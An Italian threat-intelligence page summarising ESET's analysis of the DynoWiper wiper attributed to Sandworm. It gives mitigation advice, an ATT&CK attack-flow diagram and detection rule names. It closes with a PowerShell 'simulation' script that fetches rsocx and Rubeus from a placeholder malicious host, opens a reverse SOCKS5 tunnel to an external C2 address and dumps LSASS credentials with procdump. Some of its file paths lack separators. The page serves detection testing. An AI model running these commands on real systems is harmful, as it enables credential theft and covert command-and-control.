Aggiornamento di DynoWiper di ESET Research: Analisi tecnica e attribuzione
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
DynoWiper è un wiper distruttivo utilizzato contro un’organizzazione del settore energetico in Polonia, con impatto su più endpoint durante le operazioni. Gli eseguibili sono stati preparati in una posizione di rete condivisa e avviati direttamente da essa. ESET attribuisce l’attività a Sandworm con una fiducia media. Una volta eseguito, il malware corrompe i file mirati con byte casuali e innesca un riavvio forzato per completare l’impatto.
Indagine
ESET ha recuperato tre campioni: schtask.exe, schtask2.exe e _update.exe, rilasciati sotto C:inetpubpub. I percorsi PDB incorporati suggeriscono che i binari siano stati compilati in un ambiente Vagrant. L’ingegneria inversa ha rivelato una routine di cancellazione a tre fasi, con due varianti che inseriscono una pausa di cinque secondi tra le fasi. Gli artefatti post-compromise includevano anche lo strumento Kerberos Rubeus e un proxy rsocx SOCKS5 all’interno della rete della vittima.
Mitigazione
ESET PROTECT nei sistemi delle vittime ha bloccato tutte e tre le varianti, limitando i danni. Ridurre l’esposizione prevenendo la creazione non autorizzata di attività pianificate e monitorando le scritture inaspettate nelle directory condivise. Aggiungere elenchi di permessi delle applicazioni e vietare l’esecuzione da condivisioni di rete dove possibile.
Risposta
Identificare e isolare gli host che eseguono schtask.exe, schtask2.exe o *_update.exe da una condivisione. Preservare le prove volatili, esaminare le attività pianificate e le tracce di distribuzione di PowerShell, e rimuovere strumenti come Rubeus e rsocx. Completare una piena analisi forense e ripristinare i dati da backup puliti verificati.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>Azione</b> – <b>T1105 Trasferimento di Strumenti in Ingresso</b><br/><b>Descrizione</b>: Strumenti aggiuntivi come Rubeus.exe e rsocx sono stati scaricati nell’ambiente compromesso.”] class action_ingress technique tool_rubeus[“<b>Strumento</b> – <b>Nome</b>: Rubeus.exe<br/><b>Descrizione</b>: Esegue il furto e l’abuso delle credenziali Kerberos.”] class tool_rubeus tool tool_rsocx[“<b>Strumento</b> – <b>Nome</b>: rsocx<br/><b>Descrizione</b>: Proxy SOCKS5 utilizzato per inoltrare il traffico di Comando e Controllo.”] class tool_rsocx tool action_cred_dump[“<b>Azione</b> – <b>T1003.001 Memoria LSASS</b><br/><b>Descrizione</b>: La memoria del processo LSASS è stata acquisita tramite Gestione Attività per ottenere le credenziali.”] class action_cred_dump technique action_powershell[“<b>Azione</b> – <b>T1059.001 PowerShell</b><br/><b>Descrizione</b>: Script PowerShell sono stati eseguiti per distribuire binari malevoli e facilitare ulteriori azioni.”] class action_powershell technique action_cmd[“<b>Azione</b> – <b>T1059.003 Shell dei Comandi di Windows</b><br/><b>Descrizione</b>: cmd.exe è stato utilizzato per eseguire comandi di shell e orchestrare il wiper.”] class action_cmd technique action_gpo_discovery[“<b>Azione</b> – <b>T1615 Individuazione dei Criteri di Gruppo</b><br/><b>Descrizione</b>: Gli Oggetti Criteri di Gruppo sono stati identificati per preparare una distribuzione su larga scala.”] class action_gpo_discovery technique action_gpo_modify[“<b>Azione</b> – <b>T1484 Modifica dei Criteri di Dominio o Tenant</b><br/><b>Descrizione</b>: I criteri di gruppo sono stati modificati per distribuire il binario DynoWiper in tutto il dominio.”] class action_gpo_modify technique action_schtask[“<b>Azione</b> – <b>T1053 Attività Pianificata</b><br/><b>Descrizione</b>: Attività pianificate sono state create con schtask.exe per garantire la persistenza dell’esecuzione del wiper.”] class action_schtask technique action_data_removable[“<b>Azione</b> – <b>T1025 Dati da Supporti Rimovibili</b><br/><b>Descrizione</b>: Strumenti e wiper sono stati collocati nella directory di rete condivisa C:\\inetpub\\pub\\.”] class action_data_removable technique action_file_discovery[“<b>Azione</b> – <b>T1083 Individuazione di File e Directory</b><br/><b>Descrizione</b>: File e directory sono stati enumerati su unità fisse e rimovibili escludendo le cartelle di sistema.”] class action_file_discovery technique action_wipe[“<b>Azione</b> – <b>T1561.001 Cancellazione del Contenuto del Disco</b><br/><b>Descrizione</b>: Il contenuto dei file è stato sovrascritto con dati casuali, eliminando o corrompendo i dati.”] class action_wipe technique action_reboot[“<b>Azione</b> – <b>T1529 Arresto o Riavvio del Sistema</b><br/><b>Descrizione</b>: È stato forzato un riavvio del sistema dopo la cancellazione per completare la distruzione.”] class action_reboot technique action_proxy[“<b>Azione</b> – <b>T1090.002 Proxy Esterno</b><br/><b>Descrizione</b>: rsocx è stato configurato per utilizzare il proxy SOCKS5 esterno 31.172.71.5:8008 per nascondere il traffico di Comando e Controllo.”] class action_proxy technique malware_dyno[“<b>Malware</b> – <b>Nome</b>: DynoWiper<br/><b>Descrizione</b>: Payload distruttivo che sovrascrive i dati e forza il riavvio del sistema.”] class malware_dyno malware %% Connections action_ingress –>|scarica| tool_rubeus action_ingress –>|scarica| tool_rsocx tool_rubeus –>|abilita| action_cred_dump tool_rsocx –>|fornisce| action_proxy action_cred_dump –>|fornisce credenziali a| action_powershell action_powershell –>|esegue| action_cmd action_cmd –>|orchestra| action_wipe action_gpo_discovery –>|porta a| action_gpo_modify action_gpo_modify –>|distribuisce| malware_dyno action_schtask –>|crea attività per| malware_dyno action_data_removable –>|memorizza| tool_rubeus action_data_removable –>|memorizza| tool_rsocx action_data_removable –>|memorizza| malware_dyno malware_dyno –>|esegue| action_file_discovery malware_dyno –>|esegue| action_wipe action_wipe –>|attiva| action_reboot action_proxy –>|inoltra traffico per| malware_dyno
Flusso di Attacco
Rilevamenti
Potenziale Operazione di Rimozione Automatica del Malware o Nascosta di Stderr (via cmdline)
Visualizza
Arresto Utilizzato per Forzare un Arresto o Riavvio di Sistema (via cmdline)
Visualizza
IOC (HashSha1) da rilevare: aggiornamento DynoWiper di ESET Research: Analisi tecnica e attribuzione
Visualizza
IOC (SourceIP) da rilevare: aggiornamento DynoWiper di ESET Research: Analisi tecnica e attribuzione
Visualizza
IOC (DestinationIP) da rilevare: aggiornamento DynoWiper di ESET Research: Analisi tecnica e attribuzione
Visualizza
Rilevamento della Distribuzione di DynoWiper tramite Esecuzione di Attività Programmata [Evento File di Windows]
Visualizza
Rilevamento di Strumenti Malevoli e Dump di Memoria LSASS [Creazione Processo di Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Check Preflight di Telemetria & Base deve essere passato.
Razionale: Questa sezione dettaglia l’esatta esecuzione della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrativa & Comandi dell’Attacco:
- Stabilire un proxy SOCKS5 inverso utilizzando
rsocx.exe. L’avversario scarica il binario da un server esterno, lo posiziona in%TEMP%, ed esegue il comando con l’argomento-r 31.172.71.5:8008per creare un tunnel inverso verso l’host C2. - Eseguire abuso di ticket Kerberos con
rubeus.exe. Lo strumento viene eseguito per richiedere un ticket di concessione del ticket Kerberos (TGT) per l’account amministratore del dominio e successivamente forgiare un ticket di servizio (s4u2self). - Eseguire dump della memoria di LSASS utilizzando
procdump.exe(una comune alternativa a Task Manager) per catturare il materiale delle credenziali. Sysmon registra un evento di Accesso al Processo dove il processo dell’attaccanteprocdump.exeaccede alsass.execon il mask di accesso concesso0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)Script di Test di Regressione:).
- Stabilire un proxy SOCKS5 inverso utilizzando
-
# ————————————————————- # Script di simulazione – attiva la regola Sigma per rsocx, rubeus, # e dump di LSASS. Eseguire con privilegi amministrativi. # ————————————————————- # 1. Distribuire rsocx.exe (proxy SOCKS5 inverso) $rsocxPath = “$env:TEMPrsocx.exe” Invoke-WebRequest -Uri “http://malicious.example.com/rsocx.exe” -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList “-r 31.172.71.5:8008” -WindowStyle Hidden # 2. Distribuire rubeus.exe (abuso Kerberos) $rubeusPath = “$env:TEMPrubeus.exe” Invoke-WebRequest -Uri “http://malicious.example.com/rubeus.exe” -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList “dump /service:krbtgt” -WindowStyle Hidden # 3. Eseguire dump di LSASS utilizzando procdump (richiede Sysinternals) $procdumpPath = “$env:TEMPprocdump.exe” Invoke-WebRequest -Uri “https://download.sysinternals.com/files/Procdump.zip” -OutFile “$env:TEMPprocdump.zip” Expand-Archive -Path “$env:TEMPprocdump.zip” -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem “$env:TEMP” -Recurse -Filter “procdump.exe” | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList “-ma lsass.exe $env:TEMPlsass.dmp” -Wait } Write-Host “Simulazione completata. Controllare SIEM per allarmi.”
Comandi di Pulizia: -
Cleanup Commands:
# Terminare qualsiasi processo malevolo residuo Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovere i binari e i file di dump Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Opzionalmente cancellare le directory di download temporanee Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Pulizia completata."